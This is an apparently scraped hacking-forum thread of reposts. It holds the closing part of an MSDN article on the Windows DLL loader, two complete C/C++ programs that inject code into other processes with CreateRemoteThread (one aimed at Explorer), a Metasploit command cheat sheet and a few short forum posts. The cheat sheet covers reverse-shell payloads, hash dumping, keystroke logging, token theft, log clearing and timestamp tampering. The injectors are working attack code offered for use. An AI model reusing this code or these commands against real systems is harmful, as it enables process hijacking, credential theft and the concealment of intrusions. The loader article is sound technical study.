up Section 6.4.1 of the Portable Executable Specification (found on the MSDN Library CD under Specifications), you will read that the time/date stamp field of an import directory will contain a value of 0 unless the DLL has been bound. One of the fields tested is the time/date stamp field, which is 0 in Forwarded.DLL, so let's step into LdrpSnapIAT. LdrpSnapIAT wraps its execution around a __try/__except block first before locating the IAT in Forwarded.DLL, and then hunts for the export directory in the module that Forwarded is attempting to load (assume it is Kernel32 for now). It then changes the memory protection on the IAT of Forwarded.DLL to PAGE_READWRITE and proceeds to examine each entry in the IAT. (If you are able to examine the protection for this chunk of memory, you will see that it is normally PAGE_READONLY for your executables.) Going a bit further, you'll encounter LdrpSnapThunk. LdrpSnapThunk requires an ordinal to locate an entry point and to determine whether or not the API is forwarded. If the hint value in Forwarded.DLL's import directory is correct, you can use that (generally, I have found this not to be the correct value). Otherwise, LdrpSnapThunk calls on the services of the helper routine, LdrpNameToOrdinal, to look up the correct value. Observe that LdrpNameToOrdinal uses a binary search on the export table to quickly locate the ordinal—more optimization in the loader—and note that the table must be sorted in alphabetical order for the search to work. Now that you have an ordinal, you can look up the entry point for the API in Kernel32. LdrpSnapThunk first plugs the loading module's IAT entry with an address derived from the export table for Kernel32; see Section 6.4.4 of the PE specifications (which can be found on the October 2001 MSDN CD under Specifications | Microsoft Portable Executable and Common Object File Format) for more information. (This explains why the page protection was changed in LdrpSnapIAT.) Section 6.3.2 of the PE specifications says: If the address (the entry-point) is not within the export section (as defined by the address and length indicated in the Optional Header), the field is an Export RVA: an actual address in code or data. Otherwise, the field is a Forwarder RVA, which names a symbol in another DLL. So now you can finally decide whether or not the API has been forwarded. In the vast majority of cases, the API is not forwarded, but let's assume you are looking at Forwarded's reference to HeapAlloc. (Check the math first. Kernel32's image base (0x77e80000) + HeapAlloc's entry point (0x0005b658) is 0x77edb658, which is inside the range for the export table, 0x77ed5c20 to 0x77edb770.) LdrpSnapThunk now proceeds to break apart the forwarded reference for HeapAlloc, which will have the format NTDLL.RtlAllocateHeap, and then calls LdrpLoadDll to obtain NTDLL's image base—hmm, this looks like you're back at the beginning. But note that the fifth parameter is passed with a value of 0. Also note that the DLL name that was constructed before making the call to LdrpLoadDll lacks the .DLL extension. Fortunately, the call to LdrpLoadDll will succeed when LdrpCheckForLoadedDll figures out that NTDLL.DLL is already loaded. But do you remember that experiment where I changed the extension for Forwarded to .cpl? Try this again and you will see that LdrpLoadDll now fails on the LdrpMapDll call with a STATUS_DLL_NOT_FOUND return code. Now I have an explanation for the earlier results. With the module name out of the way, LdrpSnapThunk grabs the API name, RtlAllocateHeap, and forges on to LdrpGetProcedureAddress. At this point, I am getting close to the end of this forwarded API processing, I promise. LdrpGetProcedureAddress is another routine that wraps its processing around a __try/__except block. The routine determines what type of API information it has been handed, either an ordinal if the API name parameter is null, or the name itself. The test is needed in order to properly set up parameters for an upcoming call to LdrpSnapThunk. But wait a moment. Didn't LdrpSnapThunk just bring us to this point? The two parameters are a pointer to the API's entry in the IAT and an overloaded item that contains either the image base of the loading DLL or a pointer to an IAT entry. If the flag, LdrpInLdrInit, is turned on, the process's critical section is entered. And now let's really dive in deep and step into LdrpCheckforLoadedDllHandle. Fortunately, the functionality here is pretty simple to describe and understand. I need a MODULEITEM before I can continue. LdrpCheckforLoadedDllHandle first examines a handle cache residing at LdrpLoadedDllHandleCache to see if the image base there is the same as its input parameter, hDll. If not, the routine perseveres by walking the LoadOrder list, searching for the MODULEITEM whose image base matches hDll and whose linkage in the memory order list has been established. Once it finds an entry matching these criteria, it updates the cache with it and hands back to LdrpGetProcedureAddress the MODULEITEM that it found, or returns a 0 to indicate failure. With a MODULEITEM in hand, LdrpGetProcedureAddress now calls an old friend, RtlImageDirectoryEntryToData, to locate the item's export directory and starts that twisty, recursive call to LdrpSnapThunk. What is going on here? Why is this call necessary? The answer, in part, is that this new API itself may be forwarded! I am not aware of such a situation in Windows 2000, but the possibility certainly exists. Happily, HeapAlloc's processing ends with RtlAllocateHeap inside of NTDLL, and LdrpSnapThunk returns an IAT entry with the entry point to this API. LdrpGetProcedureAddress frees up any work areas it might have created, exits the critical section (if it was acquired), and returns. Whew! Next, LdrpSnapThunk checks the return code and returns STATUS_ENTRYPOINT_NOT_FOUND if the API was not found. Otherwise, it replaces the entry in the IAT with the API's entry point and continues on. Study Section 6.4.4 in the PE specifications and especially the references to binding for a more complete picture of what is happening. Now let's return to LdrpSnapIAT and move on to the next imported API in Kernel32 (or break from the loop if the LdrpSnapThunk call failed). Once all of the entries are processed in Kernel32's import table, LdrpSnapIAT restores the memory protection it changed at the beginning of its work, calls NtFlushInstructionCache to force a cache refresh on the memory block containing the IAT, and returns back to LdrpWalkImportDescriptor. The cache refresh might be a little surprising, but in many executables the IAT can be found in the .text section where code is found. If LdrpWalkImportDescriptor does not flush the memory block containing the updated IAT, then all of the previous work will have been for naught because the processor may continue to use the old version of the memory block. (For more information read the SDK documentation for the Kernel32 API FlushInstructionCache, which is just a thin wrapper around NtFlushInstructionCache.) If you want to see the results of RunTime Binding via LdrpSnapIAT and LdrpSnapThunk on the IAT for Forwarded.DLL (SP1), take a look at Figure 5. Bound DLL Processing You may recall that LdrpWalkImportDescriptor tested for the existence of two directories or descriptors, the regular Import Descriptor and something called the Bound Imports Descriptor, and tried to use the Bound Imports Descriptor first if it was available. Also, LdrpSnapIAT examined the time/date stamp in the Import Directory Table for a special value of -1 before moving on to LdrpSnapThunk. There just may be an alternative to all of this import table munging by pre-binding your DLL. Now is the time to change my test project to load TestDll and see what happens in the Windows 2000 loader with a module that has been bound ahead of time. If you have not created the environment variable "MSSdk" as I mentioned in the readme.txt file, and set it equal to the root directory where your Platform SDK is located, do so now and rebuild TestDll (a post-link step should kick in that performs the binding operation). Or, from a command line you can enter and run the following command: bind -u testdll.dll When you examine the resulting executable, you should see that a new directory in the optional header array has been filled: the slot corresponding to IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT. Launching the result in the debugger, you will also observe that the tests for the Bound Imports Descriptor will succeed. Try the test without a call to GetProcAddress on "fnTestDll" and you will see that when LdrpWalkImportDescriptor issues its call to LdrpLoadImportModule, the check for an already loaded module (Kernel32.DLL) will succeed and that means you can avoid the nasty bumps and turns that made the code very complex earlier in the discussion of LdrpWalkImportDescriptor. My DLL loads faster because there is no looping through the APIs I imported from Kernel32 since the fix-ups have already been done (including the forwarded references). I feel like I've found the Holy Grail. But this old cup loses some of its shine when I change the sample to call fnTestDll. Before continuing, see if you can foretell why you will be walking that twisty maze again. The reason is that Forwarded.DLL, the module that contains the real code for my forwarded API, fnTestDll, was not itself bound. Run the bind utility on Forwarded.DLL and the brilliance of my newfound treasure returns. The moral of this little exercise is that in order to gain the full measure of efficiency that pre-binding a module provides, make certain that all the subordinate modules have been bound, too. There is a slight downside to pre-binding a DLL, though. What happens when the next version of the operating system appears with a new version of Kernel32 and new locations for the exported functions? Or consider the consequences of another module loading and occupying the slot reserved in memory for that DLL you have bound your executable to. Your bindings, the hardcoded addresses in the IAT, will be incorrect and considered stale by the loader. Under these conditions, the binding is effectively ignored, the LdrpWalkImportDescriptor processing takes place, and you are no better off than you were before. On the other hand, if you can manage to keep your DLLs in sync with the current versions of the system DLLs and any others you may use, you should see an improvement in your module loads. As the SDK documentation states: "You can minimize load time by using Bind to bypass this lookup." (For more discussion concerning BIND.EXE and other load issues, see Under the Hood in the May 2000 issue of MSDN Magazine. Also, note that the system DLLs, Kernel32, GDI32, User32, AdvApi32, and so on have been pre-bound.) Figure 6 shows the results of pre-binding using the SDK Bind utility on the IAT for TestDll.DLL (SP1). LdrpUpdateLoadCount If you take stock of what you have seen and learned so far, you will realize that the first three parts in LdrpLoadDll's processing have been completed. The last part of LdrpLoadDll to explore involves an update to module reference counts. That is the job for LdrpUpdateLoadCount. LdrpUpdateLoadCount is a dual-purpose routine; it is called when the DLL is both loading and unloading. It attempts to walk either the Bound Imports table or the Imports table, and it will recurse on itself for any subordinate modules. The result is code that will likely be difficult for you to follow, but LdrpUpdateLoadCount.cpp contains my attempt to write pseudocode for this procedure. Distilling the essence of the pseudocode leaves the following: LdrpUpdateLoadCount walks through either the Bound Imports Descriptor or the Imports Descriptor looking for imported modules using LdrpCheckForLoadedDll and the NTDLL hash table. If the module was newly loaded by a LoadLibraryExW call, then LdrpUpdateLoadCount updates its reference count and walks its tables for any imports. You can easily imagine a tree structure that describes the relationships between DLLs and their imports, and LdrpUpdateLoadCount must walk the tree completely to update everyone's reference count correctly. Some modules enter the process with a reference count of -1 and are skipped by this update. I leave here a question for future exploration: why do some DLLs have a reference count of -1 and the others contain an actual count? Longtime readers of Under the Hood may recall a handy utility Matt Pietrek wrote named NukeDll. Back in the ancient days of 16-bit Windows 3.x, an application that General Protection Faulted had the nasty habit of leaving wreckage strewn about in memory in the form of orphaned Dlls—their reference counts never reached 0 and were not released from the common address space that was part of Windows. Using NukeDll, you could nuke these orphans out of existence and free precious resources. The need for a utility like that has been virtually eliminated with Windows NT and its successors because of the compartmentalization imposed upon processes by the operating system. Still, the reference count is important; your application could be loading and unloading modules but leaking HINSTANCE's because of a mismatch in the LoadLibrary/FreeLibrary pairs. But this will only hurt your own buggy application and you will only chomp through your own resources; other processes in Windows NT and Windows 2000 will be isolated from this behavior. Once LdrpUpdateLoadCount has finished its work and has returned, LdrpLoadDll checks the return code from LdrpWalkImportDescriptor. If the code is STATUS_SUCCESS, processing continues on to DLL initialization (which was described in Matt Pietrek's September 1999 Under the Hood column) and is followed by leaving the process's critical section. But if there was a problem in LdrpWalkImportDescriptor, then LdrpLoadDll must back out all of the work done up until now, mostly by invoking LdrpUnloadDll. An image base is sent back to LoadLibraryExW in the form of an HMODULE. The LOAD_WITH_ALTERED_SEARCH_PATH Option There is one scenario that I have not described yet, and that is when a call to LoadLibraryExW is made with dwFlags equal to LOAD_WITH_ALTERED_SEARCH_PATH. Now that you have grown somewhat accustomed to wandering around DLLs, you might want to experiment on your own with this small wrinkle. Change the Test sample program to issue this version of a LoadLibraryExW call and pay particular attention to the first parameter for LdrpLoadDll and note any differences. You might also want to create two copies of TestDll, storing one copy in your \TEMP directory, and observing what happens. With a minimum amount of effort you will be able to manufacture a situation where two copies of TestDll are loaded, one from the current working directory and the second from the temp directory. That would demonstrate how the .NET CLR support for side-by-side execution of different versions of the same assembly might be implemented (although this side-by-side capability has been available since at least Windows NT 4.0). What You've Learned Next time the debugger displays a DLL load notification, you will know with some degree of confidence the state that the module is in: it has been mapped into memory, it has not been added to the PEB's housekeeping area, and, most importantly, it has not been initialized yet. You also have learned that the PEB contains not one, but three lists enumerating loaded modules in load, memory, and initialization order. (There are also many other fields in the PEB worthy of examination since they lead to other vital pieces of information on your process.) As Matt Pietrek has pointed out, the order of the DLLs you see displayed inside the debugger is not the order in which DLLs are initialized, as many people mistakenly believe. Probably the most important fact to hold onto is that a simple call to LoadLibrary results in many more things occurring under the covers than might initially be apparent. The loader must examine each and every API that DLL imports from other DLLs in order to calculate a real address in memory and perhaps load additional DLLs and check to see if an API may have been forwarded on to another procedure housed in another DLL. A loading DLL may bring in additional modules where the process just described will be repeated over and over again. The overhead that all of this processing brings to your application may be reduced by investigating the use of the SDK utility, BIND.EXE. The loader still checks the reference to each DLL contained in your program, but as long as the entries are not stale (in other words, the entries are still correct), the address calculation and forwarded API processing will be safely bypassed. Finally, you have seen that DLLs are reference-counted, just as they were in the ancient Windows 3.x days. Although this count does not have the same systemwide effect that it once had, a DLL that you are trying to manage dynamically will still produce resource leaks if you have not properly matched up FreeLibrary calls with each LoadLibrary call. Conclusion You should prepare yourself for additional trips into NTDLL.DLL during future debugging sessions because, like LoadLibraryEx, many Kernel32 APIs lead inevitably to undocumented routines that reside in NTDLL. If you end your investigation prematurely because of a reluctance to enter this uncharted territory, you may miss the real cause of your bug or, at least, a better understanding of your problem. I plan to maintain the pseudocode at my Web site, http://www.smidgeonsoft.com, so if you find any errors or improvements, please pass them along and I will incorporate them into the code listings. Sursa: http://msdn.microsoft.com/en-us/magazine/cc301727.aspx
  15. [C++] Direct Code Injection with Examples - No DLL for Injection Author: JuryBen //Coded By JuryBen #pragma comment(lib,"user32.LIB") #include <iostream> #include <windows.h> #include <tlhelp32.h> PROCESSENTRY32 Process; HANDLE Snapshot; BOOL ProcessFound; //REMOTE DATA struct RemoteData { //Only declare, don't initialize //MsgBox wchar_t sz[256]; wchar_t mt[256]; //ShellExecute wchar_t open[256]; wchar_t url[256]; //GetModuleFileName wchar_t locationbuffer[MAX_PATH]; //DWORD vars DWORD dwMessageBox; DWORD dwShell; DWORD dwLocation; }; //TYPEDEFS typedef int(__stdcall*MMessageBox)(HWND,LPCTSTR,LPCTSTR,UINT); typedef HINSTANCE(__stdcall*MShellExecute)(HWND,LPCTSTR,LPCTSTR,LPCTSTR,LPCTSTR,INT); typedef DWORD(__stdcall*MGetModuleFileName)(HMODULE,LPTSTR,DWORD); //REMOTE THREAD DWORD __stdcall MHThread(RemoteData *pData) { MMessageBox MsgBox = (MMessageBox)pData->dwMessageBox; MShellExecute SE = (MShellExecute)pData->dwShell; MGetModuleFileName GMFN = (MGetModuleFileName)pData->dwLocation; SE(NULL,pData->open,pData->url,NULL,NULL,SW_SHOWDEFAULT); MsgBox(0, pData->sz, pData->mt, 0); GMFN(NULL,pData->locationbuffer,sizeof(pData->locationbuffer)); MsgBox(0, pData->locationbuffer, pData->mt, 0); return 0; } int Inject() { std::wcout << "WARNING: Can cause stability issues and crashes!" << std::endl << "Injects thread with messagebox in process!" << std::endl; std::wcout << "Enter Process Name!" << std::endl << "Make sure to add the process extension!" << std::endl << std::endl; wchar_t ProcessName[1024]; std::wcin >> ProcessName; std::wcout << std::endl << ProcessName << std::endl; bool search = false; std::wcout << "Waiting for " << ProcessName << std::endl; while(!search) { Snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); Process.dwSize=sizeof(Process); ProcessFound = Process32First(Snapshot,&Process); while(ProcessFound) { wchar_t searchbuffer[512]; wcscpy_s(searchbuffer,Process.szExeFile); if(!wcscmp(searchbuffer, ProcessName)) { std::wcout << ProcessName << " Found, injecting code!" << std::endl; Sleep(1000); /////////REMOTE THREAD RemoteData data; ZeroMemory(&data, sizeof (RemoteData)); wcscat_s(data.sz, L"im in your processes haxin your threads"); wcscat_s(data.mt, L"say wut nuggaaaa"); wcscat_s(data.open, L"open"); wcscat_s(data.url, L"http://lastfrag.com"); HINSTANCE hUser = LoadLibrary(L"user32.dll"); HINSTANCE hShell = LoadLibrary(L"shell32.dll"); HINSTANCE hKernel = LoadLibrary(L"kernel32.dll"); if (!hUser || !hShell || !hKernel) { MessageBox(0, L"LL Failed", L"Error!", 0); return 0; } data.dwMessageBox = (DWORD)GetProcAddress(hUser, "MessageBoxW"); data.dwShell = (DWORD)GetProcAddress(hShell, "ShellExecuteW"); data.dwLocation = (DWORD)GetProcAddress(hKernel, "GetModuleFileNameW"); FreeLibrary(hUser); FreeLibrary(hShell); FreeLibrary(hKernel); if (!data.dwMessageBox || !data.dwShell || !data.dwLocation) { MessageBox(0, L"Handles Failed", L"Error!", 0); return 0; } //Open Process HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Process.th32ProcessID); if(!hProcess) { MessageBox(0, L"OP Failed", L"Error!", 0); return 0; } //VirtualAllocEx void *pRemoteThread = VirtualAllocEx(hProcess, 0, sizeof (RemoteData), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (!pRemoteThread) { MessageBox(0, L"RT Failed", L"Error!", 0); return 0; } //WriteProcessMemory if (!WriteProcessMemory(hProcess, pRemoteThread, (void*)MHThread, sizeof (RemoteData), 0)) { MessageBox(0, L"WPM Failed", L"Error!", 0); return 0; } //VirtualAllocEx RemoteData *pData = (RemoteData*)VirtualAllocEx(hProcess, 0, sizeof (RemoteData), MEM_COMMIT, PAGE_READWRITE); if (!pData) { MessageBox(0, L"RT Failed", L"Error!", 0); return 0; } //WriteProcessMemory if (!WriteProcessMemory(hProcess, pData, &data, sizeof (RemoteData), 0)) { MessageBox(0, L"WPM Failed", L"Error!", 0); return 0; } HANDLE hThread = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)pRemoteThread, pData, 0, 0); if (!hThread) { MessageBox(0, L"CRT Failed", L"Error!", 0); return 0; } //Clean up CloseHandle(hThread); VirtualFreeEx(hProcess, pRemoteThread, sizeof (RemoteData), MEM_RELEASE); CloseHandle(hProcess); //////////////// search = true; } ProcessFound=Process32Next(Snapshot,&Process); } CloseHandle(Snapshot); Sleep(100); } std::cin.ignore(); std::cin.get(); return 0; } int main() { Inject(); return 0; } Sursa: Direct Code Injection with Examples - No DLL for Injection
  16. [C] UnicodeToString - StringToUnicode Author: Xash #include <windows.h> void UnicodeToString(const wchar_t* pStringW, char* pStringA, const int stringLength) { int i = 0; while(i < stringLength) { *(pStringA + i) = (char)(BYTE)*(pStringW + i); i++; } *(pStringA + i) = (char)0x00; } void StringToUnicode(const char* pStringA, wchar_t* pStringW, const int stringLength) { int i = 0; while(i < stringLength) { *(pStringW + i) = (wchar_t)(BYTE)*(pStringA + i); i++; } *(pStringW + i) = (wchar_t)0x00; } int main() { wchar_t testStringW[20] = L"I'm a test!"; char testStringA[20] = {""}; UnicodeToString(testStringW, testStringA, lstrlenW(testStringW)); MessageBoxA(0, testStringA, "Hello", MB_OK); return 0; } Sursa: UnicodeToString - StringToUnicode
  17. Process Injection and Relocation 2010-11-29 04:11 PM Author: Dwar The drawback on the simple Process Injection was that for it to work, the remotely allocated virtual address had to be the same as the imagebase that it was originally loaded to. One problem with it is that if the program had allocated space or loaded a dll into that memory address the VirtualAllocEx would fail because it had already been allocated. For this to work in a process which had already allocated our needed address, we would have use the relocation section within our executable to change address in proportion to the new imagebase. Now a days, compilers by default leave out the .reloc section because you *normally* don't have to relocate a program. For this source code to work you have to make sure the linker outputs a .reloc section to your executable, or else it won't work and will cause the remote process to crash. So, whenever you tried to inject a process into another process that was using the required ImageBase, VirtualAllocEx would fail and cause the injection to fail as well. This problem can be fixed by rebasing every address within the relocation section of the executable. And by doing this you can inject an executable into *ANY* process that you have privileges to inject into. #include <windows.h> #include <stdio.h> #define MakePtr( cast, ptr, addValue ) (cast)( (DWORD)(ptr) + (addValue) ) BOOL Inject(DWORD dwPid, LPTHREAD_START_ROUTINE lpStartProc, LPVOID lpParam); BOOL PerformRebase(LPVOID lpAddress, DWORD dwNewBase); DWORD WINAPI RemoteThread(LPVOID lpParam); int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { HWND hWnd; DWORD dwPid; hWnd = FindWindow("Progman", NULL); GetWindowThreadProcessId(hWnd, &dwPid); Inject(dwPid, (LPTHREAD_START_ROUTINE)RemoteThread, NULL); return 0; } DWORD WINAPI RemoteThread(LPVOID lpParam) { char filename[MAX_PATH], msg[MAX_PATH]; GetModuleFileName(GetModuleHandle(NULL), filename, MAX_PATH); sprintf(msg, "I am now inside of the remote process: %sn", filename); MessageBox(0, msg, "", MB_OK); ExitThread(0); return 0; } BOOL Inject(DWORD dwPid, LPTHREAD_START_ROUTINE lpStartProc, LPVOID lpParam) { HMODULE hModule, hNewModule; DWORD dwSize; HANDLE hProcess; PIMAGE_DOS_HEADER pDH; PIMAGE_NT_HEADERS pPE; if ((hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid)) == NULL) return FALSE; hModule = GetModuleHandle(NULL); pDH = (PIMAGE_DOS_HEADER)hModule; pPE = (PIMAGE_NT_HEADERS) ((LPSTR)pDH + pDH->e_lfanew); dwSize = pPE->OptionalHeader.SizeOfImage; LPVOID lpNewAddr = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); if (lpNewAddr == NULL) return FALSE; CopyMemory(lpNewAddr, hModule, dwSize); hNewModule = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (hNewModule == NULL) return FALSE; PerformRebase(lpNewAddr, (DWORD)hNewModule); if (WriteProcessMemory(hProcess, hNewModule, lpNewAddr, dwSize, NULL) == 0) return FALSE; DWORD dwThread = (DWORD)lpStartProc - (DWORD)hModule + (DWORD)hNewModule; if (CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)dwThread, lpParam, 0, NULL) == NULL) return FALSE; return TRUE; } BOOL PerformRebase(LPVOID lpAddress, DWORD dwNewBase) { PIMAGE_DOS_HEADER pDH = (PIMAGE_DOS_HEADER)lpAddress; if (pDH->e_magic != IMAGE_DOS_SIGNATURE) return FALSE; PIMAGE_NT_HEADERS pPE = (PIMAGE_NT_HEADERS) ((char *)pDH + pDH->e_lfanew); if (pPE->Signature != IMAGE_NT_SIGNATURE) return FALSE; DWORD dwDelta = dwNewBase - pPE->OptionalHeader.ImageBase; DWORD dwVa = pPE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress; DWORD dwCb = pPE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size; PIMAGE_BASE_RELOCATION pBR = MakePtr(PIMAGE_BASE_RELOCATION, lpAddress, dwVa); UINT c = 0; while (c < dwCb) { c += pBR->SizeOfBlock; int RelocCount = (pBR->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); LPVOID lpvBase = MakePtr(LPVOID, lpAddress, pBR->VirtualAddress); WORD *areloc = MakePtr(LPWORD, pBR, sizeof(IMAGE_BASE_RELOCATION)); for (int i = 0; i < RelocCount; i++) { int type = areloc[i] >> 12; if (type == 0) continue; if (type != 3) return FALSE; int ofs = areloc[i] & 0x0fff; DWORD *pReloc = MakePtr(DWORD *, lpvBase, ofs); if (*pReloc - pPE->OptionalHeader.ImageBase > pPE->OptionalHeader.SizeOfImage) return FALSE; *pReloc += dwDelta; } pBR = MakePtr(PIMAGE_BASE_RELOCATION, pBR, pBR->SizeOfBlock); } pPE->OptionalHeader.ImageBase = dwNewBase; return TRUE; } Sursa: http://www.progamercity.net/c-code/351-process-injection-relocation.html
  18. Nytro

    bani pe net

    Rog pe cei care ii dau PM sa imi spuna daca link-ul contine referrer.
  19. PwnieExpress : Pentesting suite for the Nokia N900 PwnieExpress providing one of the best Pentesting suite for the Nokia N900 cost $960.00 .It Includes Aircrack, Metasploit, Kismet, GrimWEPa, SET, Fasttrack, Ettercap, n map, and more, Custom pentesting screen with shortcuts to macchanger, injection on/off, etc. Built-in wireless card supports packet injection, monitor mode, and promiscuous mode also available : Try it: http://pwnieexpress.com/pwn_phone.html Sursa: PwnieExpress : Pentesting suite for the Nokia N900 ~ The Hacker News | Hacking News | Learn Ethical Hacking Training
  20. Metasploit Commands – CLI Index I was going through the Metasploit The Penetration Tester’s Guide by David Kennedy,Jim O’Gorman, Devon Kearns and Mati Aharoni . Guys I must say it is worth reading . This is a reference for the most frequently used commands and syntax within Metasploit’s various interfaces and utilities. MSFconsole Commands: show exploits Show all exploits within the Framework. show payloads Show all payloads within the Framework. show auxiliary Show all auxiliary modules within the Framework. search name Search for exploits or modules within the Framework. info Load information about a specific exploit or module. use name Load an exploit or module (example: use windows/smb/psexec). LHOST Your local host’s IP address reachable by the target, often the public IP address when not on a local network. Typically used for reverse shells. RHOST The remote host or the target. set function Set a specific value (for example, LHOST or RHOST). setg function Set a specific value globally (for example, LHOST or RHOST). show options Show the options available for a module or exploit. show targets Show the platforms supported by the exploit. set target num Specify a specific target index if you know the OS and service pack. set payload payload Specify the payload to use. show advanced Show advanced options. set autorunscript migrate -f Automatically migrate to a separate process upon exploit completion. check Determine whether a target is vulnerable to an attack. exploit Execute the module or exploit and attack the target.exploit -j Run the exploit under the context of the job. (This will run the exploit in the background.) exploit -z Do not interact with the session after successful exploitation. exploit -e encoder Specify the payload encoder to use (example: exploit –e shikata_ga_nai). exploit -h Display help for the exploit command. sessions -l List available sessions (used when handling multiple shells). sessions -l -v List all available sessions and show verbose fields, such as which vulnerability was used when exploiting the system. sessions -s script Run a specific Meterpreter script on all Meterpreter live sessions. sessions -K Kill all live sessions. sessions -c cmd Execute a command on all live Meterpreter sessions. sessions -u sessionID Upgrade a normal Win32 shell to a Meterpreter console. db_create name Create a database to use with database-driven attacks (example: db_create autopwn). db_connect name Create and connect to a database for driven attacks (example: db_connect autopwn). db_n map Use n map and place results in database. (Normal n map syntax is supported, such as –sT –v –P0.) db_autopwn -h Display help for using db_autopwn. db_autopwn -p -r -e Run db_autopwn against all ports found, use a reverse shell, and exploit all systems. db_destroy Delete the current database. db_destroy user:password@host:port/database Delete database using advanced options. Meterpreter Commands help: run scriptname Run Meterpreter-based scripts; for a full list check the scripts/meterpreter directory. sysinfo Show the system information on the compromised target. ls List the files and folders on the target. use priv Load the privilege extension for extended Meterpreter libraries. ps Show all running processes and which accounts are associated with each process. migrate PID Migrate to the specific process ID (PID is the target process ID gained from the ps command). use incognito Load incognito functions. (Used for token stealing and impersonation on a target machine.) list_tokens -u List available tokens on the target by user. list_tokens -g List available tokens on the target by group. impersonate_token DOMAIN_NAME\\USERNAME Impersonate a token available on the target. steal_token PID Steal the tokens available for a given process and impersonate that token.drop_token Stop impersonating the current token. getsystem Attempt to elevate permissions to SYSTEM-level access through multiple attack vectors. shell Drop into an interactive shell with all available tokens. execute -f cmd.exe -i Execute cmd.exe and interact with it. execute -f cmd.exe -i -t Execute cmd.exe with all available tokens. execute -f cmd.exe -i -H -t Execute cmd.exe with all available tokens and make it a hidden process. rev2self Revert back to the original user you used to compromise the target. reg command Interact, create, delete, query, set, and much more in the target’s registry. setdesktop number Switch to a different screen based on who is logged in. screenshot Take a screenshot of the target’s screen. upload file Upload a file to the target. download file Download a file from the target. keyscan_start Start sniffing keystrokes on the remote target. keyscan_dump Dump the remote keys captured on the target. keyscan_stop Stop sniffing keystrokes on the remote target. getprivs Get as many privileges as possible on the target. uictl enable keyboard/mouse Take control of the keyboard and/or mouse. background Run your current Meterpreter shell in the background. hashdump Dump all hashes on the target. use sniffer Load the sniffer module. sniffer_interfaces List the available interfaces on the target. sniffer_dump interfaceID pcapname Start sniffing on the remote target. sniffer_start interfaceID packet-buffer Start sniffing with a specific range for a packet buffer. sniffer_stats interfaceID Grab statistical information from the interface you are sniffing. sniffer_stop interfaceID Stop the sniffer. add_user username password -h ip Add a user on the remote target. add_group_user "Domain Admins" username -h ip Add a username to the Domain Administrators group on the remote target. clearev Clear the event log on the target machine. timestomp Change file attributes, such as creation date (antiforensics measure). reboot Reboot the target machine. MSFpayload Commands: msfpayload -h List available payloads. msfpayload windows/meterpreter/bind_tcp O List available options for the windows/meterpreter/bind_tcp payload (all of these can use any payload). msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 X > payload.exe Create a Meterpreter reverse_tcp payload to connect back to 192.168.1.5 and on port 443, and then save it as a Windows Portable Executable named payload.exe. msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R > payload.raw Same as above, but export as raw format. This will be used later in msfencode msfpayload windows/meterpreter/bind_tcp LPORT=443 C > payload.c Same as above but export as C-formatted shellcode. msfpayload windows/meterpreter/bind_tcp LPORT=443 J > payload.java Export as %u encoded JavaScript. MSFencode Commands: msfencode -h Display the msfencode help. msfencode -l List the available encoders. msfencode -t (c, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs, loop-vbs, asp, war, macho) Format to display the encoded buffer. msfencode -i payload.raw -o encoded_payload.exe -e x86/shikata_ga_nai -c 5 -t exe Encode payload.raw with shikata_ga_nai five times and export it to an output file named encoded_payload.exe. msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -e x86/ _countdown -c 5 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t exe -o multi-encoded_payload.exe Create a multi-encoded payload. msfencode -i payload.raw BufferRegister=ESI -e x86/alpha_mixed -t c Create pure alphanumeric shellcode where ESI points to the shellcode; output in C-style notation. MSFcli Commands: msfcli | grep exploit Show only exploits. msfcli | grep exploit/windows Show only Windows exploits. msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 RHOST=172.16.32.142 E Launch ms08_067_netapi exploit at 172.16.32.142 with a bind_tcp payload being delivered to listen on port 443. Meterpreter Post Exploitation Commands: http://pastebin.com/VmTtcz0A P.S – This Cheat Sheet is borrowed from:Metasploit The Penetration Tester’s Guide Sursa: http://www.coresec.org/2011/07/28/metasploit-commands-cli-index/
  21. OS fingerprinting with IPv6 Author: Christoph Eckstein, christoph.eckstein @ samapartners.com Advisor: Antonios Atlasis Accepted: September 21st, 2011 Over the next years to come IPv6 will eventually replace IPv4 in private and public networks. This paper attempts to describe upcoming challenges and limitations as well as new methods of OS fingerprinting with the shift to IPv6. This includes performing network scans and finding live hosts to fingerprint. The focus of this paper will be on describing the changes made within the protocol headers in IPv6 and the consequences for OS fingerprinting. This covers known fingerprinting method with new IPv6 header fields and n... Download: http://www.sans.org/reading_room/whitepapers/testing/os-fingerprinting-ipv6_33794
  22. "Nu este disponibil". La fel ca multe altele si nu am idee de ce.
  23. O sa punem si un nume, sa vedem ce: Luke Rstcenter | Facebook PS: Daca acea persoana e pe aici, o raog sa imi dea un mesaj privat.
